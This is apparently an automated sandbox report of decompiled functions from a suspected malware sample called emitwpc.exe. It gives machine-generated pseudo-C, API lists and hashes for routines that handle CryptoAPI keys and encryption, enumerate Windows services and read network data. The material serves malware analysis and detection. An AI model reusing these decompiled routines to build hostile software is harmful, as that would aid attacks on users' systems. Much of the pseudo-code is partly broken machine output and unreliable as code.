Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Service$CloseCreateHandle_snwprintf
String ID: C:\Windows\system32\emitwpc.exe$emitwpc
API String ID: 2094473374-4093561946
Opcode ID: 8760921a74e1a6cbe7b156b3f3f02f06da90565f128808a0099e9259f657f45e
Instruction ID: d046d80079302893bc89d0d2a8f25b3b0411fe202ed0201eb902b5d5073ea913
Opcode Fuzzy Hash: 8760921a74e1a6cbe7b156b3f3f02f06da90565f128808a0099e9259f657f45e
Instruction Fuzzy Hash: 3A01F4353B0315A7D624ABA06D8BFFE72689B46F90F10036AFA03A6183DEE05D345695

Uniqueness

Uniqueness Score: 100.00%

Function 002A23B7, Relevance: 6.0, APIs: 4, Instructions: 14
encryptionCOMMON

C-Code - Quality: 68%

			E002A23B7(void* __eax) {
				void* _t3;

				_t3 =  *0x2b26fc();
				if(_t3 == 0) {
					CryptDestroyKey( *0x2b4cb8);
					CryptDestroyKey( *0x2b4cb4);
					CryptReleaseContext( *0x2b4cb0, 0);
					return 0;
				} else {
					goto 0x2c08f2;
					return _t3;
				}
			}

0x002a23bc
0x002a23c4
0x002a23d2
0x002a23de
0x002a23ec
0x002a23f4
0x002a23c6
0x002a23c6
0x002a23cb
0x002a23cb

APIs

CryptCreateHash.ADVAPI32 ref: 002A23BC
CryptDestroyKey.ADVAPI32 ref: 002A23D2
CryptDestroyKey.ADVAPI32 ref: 002A23DE
CryptReleaseContext.ADVAPI32(00000000), ref: 002A23EC

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Crypt$Destroy$ContextCreateHashRelease
String ID:
API String ID: 4057265880-0
Opcode ID: 2ecc4c103dab146af4db4058cf9b585eeba03c5e1d0de3b7e5b1d374c9ce4b15
Instruction ID: 3655cc00b0c0e17d0eb329f8a1c6b7dbbb78c9e906ef8818c01144f52e05e553
Opcode Fuzzy Hash: 2ecc4c103dab146af4db4058cf9b585eeba03c5e1d0de3b7e5b1d374c9ce4b15
Instruction Fuzzy Hash: 6DD09270126216DBDB423F75FE8DB583EA5BB48B02F519722F202D0072DF218868AB19

Uniqueness

Uniqueness Score: 0.02%

Function 002A24F6, Relevance: 4.6, APIs: 3, Instructions: 73
encryptionCOMMON

C-Code - Quality: 18%

			E002A24F6(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _t25;
				BYTE* _t26;
				int _t36;
				signed int _t43;
				DWORD* _t45;
				BYTE** _t55;
				void* _t58;
				void* _t60;

				 *((intOrPtr*)(_t60 - 4)) = __ecx;
				 *((intOrPtr*)(_t60 - 0xc)) = __edx;
				_t25 =  *((intOrPtr*)(__edx + 4));
				_t58 = 0;
				_t43 = _t25 - 0x74;
				if(_t25 >= 0x74) {
					if((_t43 & 0x0000000f) == 0) {
						L4:
						_t55 =  *(_t60 + 8);
						_t55[1] = _t43;
						_t26 = E002A17C0(_t43);
						 *_t55 = _t26;
						if(_t26 != 0) {
							 *((intOrPtr*)(_t60 - 0xc)) =  *((intOrPtr*)( *((intOrPtr*)(_t60 - 0xc))));
							_push(_t60 - 8);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)( *((intOrPtr*)(_t60 - 4)) + 0xc)));
							if( *0x2b2794() == 0) {
								_t45 =  &(_t55[1]);
								goto L12;
							} else {
								_push(_t43);
								L002A1810();
								_t45 =  &(_t55[1]);
								_t36 = CryptDecrypt( *( *((intOrPtr*)(_t60 - 4)) + 8),  *(_t60 - 8), 1, 0,  *_t55, _t45);
								if(_t36 != 0) {
									goto 0x2c096b;
									asm("int3");
									asm("int3");
									_push( *((intOrPtr*)(_t36 + 4)));
									asm("pushad");
									 *0x2b2844( *(_t60 - 8),  *((intOrPtr*)(_t60 - 0xc)));
									_t58 =  !=  ? 1 : _t58;
								}
								 *0x2b27bc( *(_t60 - 8));
								if(_t58 == 0) {
									L12:
									E002A1830( *_t55);
									 *_t55 = 0;
									 *_t45 = 0;
								}
							}
						}
						return _t58;
					} else {
						_t25 = (_t43 & 0xfffffff0) + 0x10;
						if(_t43 != _t25) {
							goto L1;
						} else {
							goto L4;
						}
					}
				} else {
					L1:
					goto 0x2c0956;
					asm("int3");
					asm("int3");
					return _t25;
				}
			}

0x002a24f8
0x002a24fc
0x002a2500
0x002a2503
0x002a2505
0x002a250b
0x002a2518
0x002a2526
0x002a2527
0x002a252c
0x002a252f
0x002a2534
0x002a2538
0x002a2543
0x002a2549
0x002a254d
0x002a254f
0x002a2551
0x002a255c
0x002a25bd
0x00000000
0x002a255e
0x002a2566
0x002a2567
0x002a256f
0x002a2582
0x002a258a
0x002a258c
0x002a2591
0x002a2592
0x002a2593
0x002a2597
0x002a259e
0x002a25ab
0x002a25ab
0x002a25b1
0x002a25b9
0x002a25c0
0x002a25c2
0x002a25c7
0x002a25cd
0x002a25cd
0x002a25b9
0x002a255c
0x002a25db
0x002a251a
0x002a251f
0x002a2524
0x00000000
0x00000000
0x00000000
0x00000000
0x002a2524
0x002a250d
0x002a250d
0x002a250d
0x002a2512
0x002a2513
0x002a2514
0x002a2514

APIs

Part of subcall function 002A17C0: GetProcessHeap.KERNEL32(00000008,?,002A6B19), ref: 002A17C3
Part of subcall function 002A17C0: RtlAllocateHeap.NTDLL(00000000,?,002A6B19), ref: 002A17CA

CryptDuplicateHash.ADVAPI32(?,00000000,00000000,?), ref: 002A2554
CryptDecrypt.ADVAPI32(?,?,00000001,00000000,?,?), ref: 002A2582
CryptDestroyHash.ADVAPI32(?), ref: 002A25B1

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Heap$Crypt$HashProcess$AllocateDecryptDestroyDuplicateFree
String ID:
API String ID: 3328019083-0
Opcode ID: b66dfd000785646c666e2550e384e68b7b39db12641cb9b15e58181e3ebcc1d4
Instruction ID: 76f57c80b4a9433e235764019f2339db98bcbff0d7315270484df6a6f1a60d87
Opcode Fuzzy Hash: b66dfd000785646c666e2550e384e68b7b39db12641cb9b15e58181e3ebcc1d4
Instruction Fuzzy Hash: 2221AC71A10206EFDB148F58DC94B9AF7B9FF05350F608265E405A7260EB30EA28DF90

Uniqueness

Uniqueness Score: 0.03%

Function 002ADA7D, Relevance: 4.5, APIs: 3, Instructions: 45
serviceCOMMON

C-Code - Quality: 27%

			E002ADA7D() {
				void* _t16;
				void* _t20;
				void* _t25;
				void* _t28;
				void* _t33;
				short** _t35;
				void* _t38;
				void* _t39;

				if( *0x2b2bcc() == 0) {
					_t28 =  *(_t39 - 0x20);
					L14:
					E002A1830( *((intOrPtr*)(_t39 - 0x18)));
					_t16 = _t33;
					if(_t33 == 0) {
						goto 0x2c1ca2;
						asm("int3");
						return _t16;
					} else {
						 *_t35 = _t28;
						return _t16;
					}
				}
				_t38 = (GetTickCount() & 0x0000000f) * 0x2c +  *((intOrPtr*)(_t39 - 0x18));
				_t20 =  *(_t39 - 0x10) * 0x2c + _t38;
				 *(_t39 - 0x20) = _t20;
				_t28 =  *(_t39 - 0x20);
				_t35 =  >=  ?  *((void*)(_t39 - 0x18)) : _t38;
				 *(_t39 - 4) = _t28;
				while(_t35 < _t20) {
					_t28 = OpenServiceW( *(_t39 - 0x1c),  *_t35, 1);
					if(_t28 != 0) {
						goto 0x2c1c5c;
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						if( *0x2b2900() == 0 && GetLastError() == 0x7a) {
							_t25 = E002A17C0( *((intOrPtr*)(_t39 - 0xc)));
							 *(_t39 - 4) = _t25;
							if(_t25 != 0) {
								goto 0x2c1c75;
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_t33 =  *0x2b2900();
								if(_t33 == 0) {
									E002A1830( *(_t39 - 4));
								}
							}
						}
						CloseServiceHandle(_t28);
					}
					_t20 =  *(_t39 - 0x20);
					_t35 =  &(_t35[0xb]);
					if(_t33 == 0) {
						continue;
					} else {
						break;
					}
				}
				goto 0x2c1c8e;
				asm("int3");
				goto L14;
			}

0x002ada85
0x002adb43
0x002adb2c
0x002adb2f
0x002adb34
0x002adb38
0x002adb4a
0x002adb4f
0x002adb50
0x002adb3a
0x002adb3b
0x002adb42
0x002adb42
0x002adb38
0x002ada9b
0x002ada9e
0x002adaa0
0x002adaa5
0x002adaa8
0x002adaac
0x002adab0
0x002adac1
0x002adac5
0x002adac7
0x002adacc
0x002adacd
0x002adace
0x002adacf
0x002adad0
0x002adad1
0x002adada
0x002adaea
0x002adaef
0x002adaf4
0x002adaf6
0x002adafb
0x002adafc
0x002adafd
0x002adafe
0x002adaff
0x002adb00
0x002adb07
0x002adb0b
0x002adb10
0x002adb10
0x002adb0b
0x002adaf4
0x002adb16
0x002adb16
0x002adb1c
0x002adb1f
0x002adb24
0x00000000
0x00000000
0x00000000
0x00000000
0x002adb24
0x002adb26
0x002adb2b
0x00000000

APIs

EnumServicesStatusExW.ADVAPI32 ref: 002ADA7D
GetTickCount.KERNEL32 ref: 002ADA8B
OpenServiceW.ADVAPI32(?,?,00000001), ref: 002ADABB

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Heap$CountEnumFreeOpenProcessServiceServicesStatusTick
String ID:
API String ID: 1772836470-0
Opcode ID: 3522555f0be493c10dc017583c64ee1d5db5546d919f62637d8bc62c5ab68bba
Instruction ID: fcb38bb34132882c3813692dbb79eadd0225e4b472916ac7c1479e0a8a4854ca
Opcode Fuzzy Hash: 3522555f0be493c10dc017583c64ee1d5db5546d919f62637d8bc62c5ab68bba
Instruction Fuzzy Hash: AF01D432E24216CBCF209FA8DC816ADF7B4BF59304B15061AED06B3251DB7199608BA0

Uniqueness

Uniqueness Score: 0.03%

Function 002A2335, Relevance: 4.5, APIs: 3, Instructions: 15
encryptionCOMMON

C-Code - Quality: 16%

			E002A2335(void* __eax) {
				int _t8;
				void* _t10;

				_t8 = CryptImportKey();
				LocalFree( *(_t10 - 4));
				if(_t8 == 0) {
					CryptReleaseContext( *0x2b4cb0, 0);
				}
				return _t8;
			}

0x002a2343
0x002a2345
0x002a234d
0x002a2357
0x002a2357
0x002a2363

APIs

CryptImportKey.ADVAPI32 ref: 002A233A
LocalFree.KERNEL32(?), ref: 002A2345
CryptReleaseContext.ADVAPI32(00000000), ref: 002A2357

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Crypt$ContextFreeImportLocalRelease
String ID:
API String ID: 202888279-0
Opcode ID: 2d91d0de695c3006fd45b2e3c67d1f495d9562ae780db2efe6e12a17604bc992
Instruction ID: 1e2f202c387f625a6439003efa06010a837ced512d7fafb1a7d19de4aaae0a84
Opcode Fuzzy Hash: 2d91d0de695c3006fd45b2e3c67d1f495d9562ae780db2efe6e12a17604bc992
Instruction Fuzzy Hash: 0ED0C732A61228DBCB226FA8BD4C7587FA4E705B51F050792FD09E6270CE228D245780

Uniqueness

Uniqueness Score: 0.02%

Function 002A2399, Relevance: 4.5, APIs: 3, Instructions: 12encryptionCOMMON

APIs

CryptGenKey.ADVAPI32 ref: 002A239E
CryptDestroyKey.ADVAPI32 ref: 002A23DE
CryptReleaseContext.ADVAPI32(00000000), ref: 002A23EC

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Crypt$ContextDestroyRelease
String ID:
API String ID: 1322390979-0
Opcode ID: f79de0192603a364817545c7557b00c3bef7732fafab0bbe09147fde1b71f457
Instruction ID: a2057738acca9bd05e8da058a49b6ee6b9b9af4d5387aa08326d2d54cac63fea
Opcode Fuzzy Hash: f79de0192603a364817545c7557b00c3bef7732fafab0bbe09147fde1b71f457
Instruction Fuzzy Hash: 8BD0C930132305DBDB113F31BD8DB153EA0EB04B41F100B62F201E0071DE608468AB05

Uniqueness

Uniqueness Score: 0.02%

Function 002A2279, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13encryptionCOMMON

APIs

CryptExportKey.ADVAPI32(?,?,00000001,00000040,?), ref: 002A228B

Strings

l, xrefs: 002A2279

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CryptExport
String ID: l
API String ID: 3389274496-2517025534
Opcode ID: 65181922bbbe42e60f7ff70091e6ec96666baddd08d3adc12ff7238b765dbe39
Instruction ID: d33156bbf88d4e5cd1efd14c6085d89fa208b0d0a35c9d447117890c8ca6fcb4
Opcode Fuzzy Hash: 65181922bbbe42e60f7ff70091e6ec96666baddd08d3adc12ff7238b765dbe39
Instruction Fuzzy Hash: 66D012B0274308FAF7248F608D89FBB767CAB00700F14430E7602A5080DAF599286E20

Uniqueness

Uniqueness Score: 0.02%

Function 002A2466, Relevance: 3.0, APIs: 2, Instructions: 29
encryptionCOMMON

C-Code - Quality: 18%

			E002A2466(void* __eax, void* __ebx, intOrPtr* __edi) {
				void* _t14;
				intOrPtr _t23;
				intOrPtr* _t28;
				void* _t30;
				void* _t32;

				_t28 = __edi;
				asm("adc ch, al");
				 *0x83fffff3 = __eax + 0x8b;
				asm("les eax, [ecx*4+0x5053f045]");
				_t14 =  *0x2b2980( *((intOrPtr*)( *((intOrPtr*)(_t32 - 4)) + 8)),  *((intOrPtr*)(_t32 + 8)), 1, _t30,  *((intOrPtr*)(_t32 - 8)));
				if(_t14 != 0) {
					goto 0x2c092d;
					asm("int3");
					asm("int3");
					_t23 =  *((intOrPtr*)(_t14 + 4));
					if(L002A2270(_t14, _t23,  *((intOrPtr*)(_t14 + 8))) != 0) {
						_push(_t23);
						L002A22C0(_t18,  *((intOrPtr*)(_t32 + 8)), __ebx + 0x60);
						_t30 =  !=  ? 1 : _t30;
					}
				}
				 *0x2b27bc( *((intOrPtr*)(_t32 + 8)));
				if(_t30 == 0) {
					E002A1830( *_t28);
					 *_t28 = 0;
					 *((intOrPtr*)(_t28 + 4)) = 0;
				}
				return _t30;
			}

0x002a2466
0x002a2468
0x002a246a
0x002a246f
0x002a2485
0x002a248d
0x002a248f
0x002a2494
0x002a2495
0x002a2499
0x002a24a6
0x002a24a8
0x002a24af
0x002a24be
0x002a24be
0x002a24a6
0x002a24c4
0x002a24cc
0x002a24d0
0x002a24d5
0x002a24db
0x002a24db
0x002a24ea

APIs

CryptEncrypt.ADVAPI32(?,?,00000001,?,?), ref: 002A2485
CryptDestroyHash.ADVAPI32(?,?,?), ref: 002A24C4

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CryptHeap$DestroyEncryptFreeHashProcess
String ID:
API String ID: 2265275737-0
Opcode ID: 2675767768e6462e2b30aea1ebba2a3eefe0967fdd673d5bd57c5e769ab4c3c0
Instruction ID: ec9f19dc6146a98150655b5c01bace1f5c2ada2f466d53819004cfe886a829b2
Opcode Fuzzy Hash: 2675767768e6462e2b30aea1ebba2a3eefe0967fdd673d5bd57c5e769ab4c3c0
Instruction Fuzzy Hash: A5F08231611215EBDB219F88EC58BD9BF60FF19790F204259F80C8B261CB318939DB80

Uniqueness

Uniqueness Score: 0.03%

Function 002ADA24, Relevance: 3.0, APIs: 2, Instructions: 25serviceCOMMON

APIs

EnumServicesStatusExW.ADVAPI32(?,?,00000030,00000003), ref: 002ADA37
GetLastError.KERNEL32(?,?,00000030,00000003), ref: 002ADA45

Part of subcall function 002A17C0: GetProcessHeap.KERNEL32(00000008,?,002A6B19), ref: 002A17C3
Part of subcall function 002A17C0: RtlAllocateHeap.NTDLL(00000000,?,002A6B19), ref: 002A17CA

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Heap$AllocateEnumErrorLastProcessServicesStatus
String ID:
API String ID: 1360102720-0
Opcode ID: 7c4216aaab6dc50f9c66152099e61974bac8c2e873bda30f7e3ebcff69febc05
Instruction ID: 49821a73d0e08bd30ab3c5141280864b2e01c4b1a062f8ee88a070839b9c50f9
Opcode Fuzzy Hash: 7c4216aaab6dc50f9c66152099e61974bac8c2e873bda30f7e3ebcff69febc05
Instruction Fuzzy Hash: 44E092B4A60206ABE7118F568C59B7FAA78EBA2744F10052DB001E1190DB60AF218A61

Uniqueness

Uniqueness Score: 0.03%

Function 002A2595, Relevance: 3.0, APIs: 2, Instructions: 24encryptionCOMMON

APIs

CryptVerifySignatureW.ADVAPI32(?,?), ref: 002A259E
CryptDestroyHash.ADVAPI32(?), ref: 002A25B1

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CryptHeap$DestroyFreeHashProcessSignatureVerify
String ID:
API String ID: 2013711131-0
Opcode ID: a0e0456c135a303216b2efcc8eeb52fa5521afcc7aef91a27e8cebf1af2300b1
Instruction ID: 189da3f7875b03ba4db1980fe7f347ccf09e824bf60b3b314592d344ea180a9b
Opcode Fuzzy Hash: a0e0456c135a303216b2efcc8eeb52fa5521afcc7aef91a27e8cebf1af2300b1
Instruction Fuzzy Hash: 7EE04F31B10214EFDB255F58EC28399FBA5FF45361F1002A9E80996260DFB64C619B80

Uniqueness

Uniqueness Score: 0.03%

Function 002A1628, Relevance: 1.6, APIs: 1, Instructions: 63
filenetworkCOMMON

C-Code - Quality: 97%

			E002A1628(void* __ecx, long* __edx, void* __eflags) {
				int _t18;
				long _t25;
				long _t30;
				long* _t31;
				int _t35;
				long _t38;
				void* _t41;

				 *(_t41 - 0x10) = __edx;
				 *(_t41 - 0xc) = __ecx;
				_t25 = L002A15A0(__ecx, __ecx, 5);
				_t38 = 0;
				_t35 = 0;
				if(_t25 == 0) {
					L11:
					return _t35;
				} else {
					_t30 = E002A17C0(_t25);
					 *(_t41 - 4) = _t30;
					if(_t30 == 0) {
						goto L11;
					} else {
						 *(_t41 - 8) = 0;
						if(_t25 == 0) {
							L9:
							_t18 = E002A1830(_t30);
							if(_t35 != 0) {
								goto L10;
							}
							goto L11;
						} else {
							while(1) {
								_t18 = InternetReadFile( *(_t41 - 0xc), _t30 + _t38, _t25 - _t38, _t41 - 8);
								_t35 = _t18;
								if(_t35 == 0) {
									break;
								}
								_t30 =  *(_t41 - 8);
								if(_t30 == 0) {
									L10:
									goto 0x2c02a7;
									asm("int3");
									 *_t30 = _t18;
									 *(_t30 + 4) = _t38;
									goto L11;
								} else {
									_t38 = _t38 + _t30;
									_t30 =  *(_t41 - 4);
									if(_t38 < _t25) {
										continue;
									} else {
										_t31 =  *(_t41 - 0x10);
										 *_t31 = _t30;
										_t31[1] = _t38;
										return _t35;
									}
								}
								goto L12;
							}
							_t30 =  *(_t41 - 4);
							goto L9;
						}
					}
				}
				L12:
			}

0x002a1628
0x002a1633
0x002a163b
0x002a163d
0x002a163f
0x002a1643
0x002a16b6
0x002a16be
0x002a1645
0x002a164c
0x002a164e
0x002a1653
0x00000000
0x002a1655
0x002a1655
0x002a165a
0x002a16a2
0x002a16a2
0x002a16a9
0x00000000
0x00000000
0x00000000
0x002a1660
0x002a1660
0x002a1670
0x002a1676
0x002a167a
0x00000000
0x00000000
0x002a167c
0x002a1681
0x002a16ab
0x002a16ab
0x002a16b0
0x002a16b1
0x002a16b3
0x00000000
0x002a1683
0x002a1683
0x002a1685
0x002a168a
0x00000000
0x002a168c
0x002a168e
0x002a1691
0x002a1696
0x002a169e
0x002a169e
0x002a168a
0x00000000
0x002a1681
0x002a169f
0x00000000
0x002a169f
0x002a165a
0x002a1653
0x00000000

APIs

Part of subcall function 002A17C0: GetProcessHeap.KERNEL32(00000008,?,002A6B19), ref: 002A17C3
Part of subcall function 002A17C0: RtlAllocateHeap.NTDLL(00000000,?,002A6B19), ref: 002A17CA

InternetReadFile.WININET(?,00000000,00000000,?), ref: 002A1670

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Heap$Process$AllocateFileFreeInternetRead
String ID:
API String ID: 70589939-0
Opcode ID: cd2c97104e089a9850d82a41ccc439608ac40d9d4e12af1ffa3781ada82417c5
Instruction ID: 66bb98e2317006506b6521272ff6e7210da99697b7c12b129653cda60a802ee0
Opcode Fuzzy Hash: cd2c97104e089a9850d82a41ccc439608ac40d9d4e12af1ffa3781ada82417c5
Instruction Fuzzy Hash: 8A115176B1020A9B9B14DE99D9805AEB7BAEF85761F18427EA909D7240DF318D218B80

Uniqueness

Uniqueness Score: 0.05%

Function 002A2406, Relevance: 1.5, APIs: 1, Instructions: 45
encryptionCOMMON

C-Code - Quality: 28%

			E002A2406(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t38;
				signed int _t43;
				intOrPtr _t49;
				intOrPtr _t52;
				intOrPtr* _t56;
				void* _t59;
				void* _t61;

				_t52 = __edx;
				 *((intOrPtr*)(_t61 - 4)) = __ecx;
				 *((intOrPtr*)(_t61 - 0xc)) = __edx;
				_t28 =  *((intOrPtr*)(__edx + 4));
				_t43 = _t28 + 1;
				if((_t43 & 0x0000000f) != 0) {
					_t43 = (_t43 & 0xfffffff0) + 0x10;
				}
				_t56 =  *((intOrPtr*)(_t61 + 8));
				 *((intOrPtr*)(_t61 - 0x10)) = _t28;
				_t59 = 0;
				 *((intOrPtr*)(_t56 + 4)) = _t43 + 0x74;
				_t29 = E002A17C0(_t43 + 0x74);
				 *((intOrPtr*)(_t61 - 0x14)) = _t29;
				 *_t56 = _t29;
				if(_t29 != 0) {
					 *((intOrPtr*)(_t61 - 8)) = _t29 + 0x74;
					_t34 =  *0x2b2794( *((intOrPtr*)( *((intOrPtr*)(_t61 - 4)) + 0xc)), 0, 0, _t61 + 8);
					if(_t34 == 0) {
						L10:
						E002A1830( *_t56);
						 *_t56 = 0;
						 *((intOrPtr*)(_t56 + 4)) = 0;
					} else {
						goto 0x2c0919;
						asm("int3");
						asm("adc ch, al");
						 *0x83fffff3 = _t34 + 0x8b;
						asm("les eax, [ecx*4+0x5053f045]");
						_t38 =  *0x2b2980( *((intOrPtr*)( *((intOrPtr*)(_t61 - 4)) + 8)),  *((intOrPtr*)(_t61 + 8)), 1, 0,  *((intOrPtr*)(_t61 - 8)),  *((intOrPtr*)(_t52 + 4)));
						if(_t38 != 0) {
							goto 0x2c092d;
							asm("int3");
							asm("int3");
							_t49 =  *((intOrPtr*)(_t38 + 4));
							if(L002A2270(_t38, _t49,  *((intOrPtr*)(_t38 + 8))) != 0) {
								_push(_t49);
								L002A22C0(_t40,  *((intOrPtr*)(_t61 + 8)), _t43 + 0x60);
								_t59 =  !=  ? 1 : 0;
							}
						}
						 *0x2b27bc( *((intOrPtr*)(_t61 + 8)));
						if(_t59 == 0) {
							goto L10;
						}
					}
				}
				return _t59;
			}

0x002a2406
0x002a2408
0x002a240b
0x002a2410
0x002a2414
0x002a241a
0x002a241f
0x002a241f
0x002a2422
0x002a2428
0x002a242b
0x002a242d
0x002a2430
0x002a2435
0x002a2438
0x002a243c
0x002a2445
0x002a2454
0x002a245c
0x002a24ce
0x002a24d0
0x002a24d5
0x002a24db
0x002a245e
0x002a245e
0x002a2463
0x002a2468
0x002a246a
0x002a246f
0x002a2485
0x002a248d
0x002a248f
0x002a2494
0x002a2495
0x002a2499
0x002a24a6
0x002a24a8
0x002a24af
0x002a24be
0x002a24be
0x002a24a6
0x002a24c4
0x002a24cc
0x00000000
0x00000000
0x002a24cc
0x002a245c
0x002a24ea

APIs

Part of subcall function 002A17C0: GetProcessHeap.KERNEL32(00000008,?,002A6B19), ref: 002A17C3
Part of subcall function 002A17C0: RtlAllocateHeap.NTDLL(00000000,?,002A6B19), ref: 002A17CA

CryptDuplicateHash.ADVAPI32(?,00000000,00000000,?), ref: 002A2454

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Heap$Process$AllocateCryptDuplicateFreeHash
String ID:
API String ID: 1040508988-0
Opcode ID: b77d6ea9e941fd473b1c50a816dbe1930575a6c72471b516b0f567c15322b978
Instruction ID: 58c77c866c4a1637500f10ab1dcb43da6652a29216a4ea507ddd221524ab74f3
Opcode Fuzzy Hash: b77d6ea9e941fd473b1c50a816dbe1930575a6c72471b516b0f567c15322b978
Instruction Fuzzy Hash: C30125B5A11216DFD710CF59D844BAAFBF4EF15350F14826AE418D7251DB30DA24CBD0

Uniqueness

Uniqueness Score: 0.03%

Function 002A2496, Relevance: 1.5, APIs: 1, Instructions: 29
encryptionCOMMON

C-Code - Quality: 59%

			E002A2496(void* __eax, void* __ebx, intOrPtr* __edi, void* __esi) {
				intOrPtr _t15;
				intOrPtr* _t21;
				void* _t25;

				_t23 = __esi;
				_t21 = __edi;
				_t15 =  *((intOrPtr*)(__eax + 4));
				if(L002A2270(__eax, _t15,  *((intOrPtr*)(__eax + 8))) != 0) {
					_push(_t15);
					L002A22C0(_t8,  *((intOrPtr*)(_t25 + 8)), __ebx + 0x60);
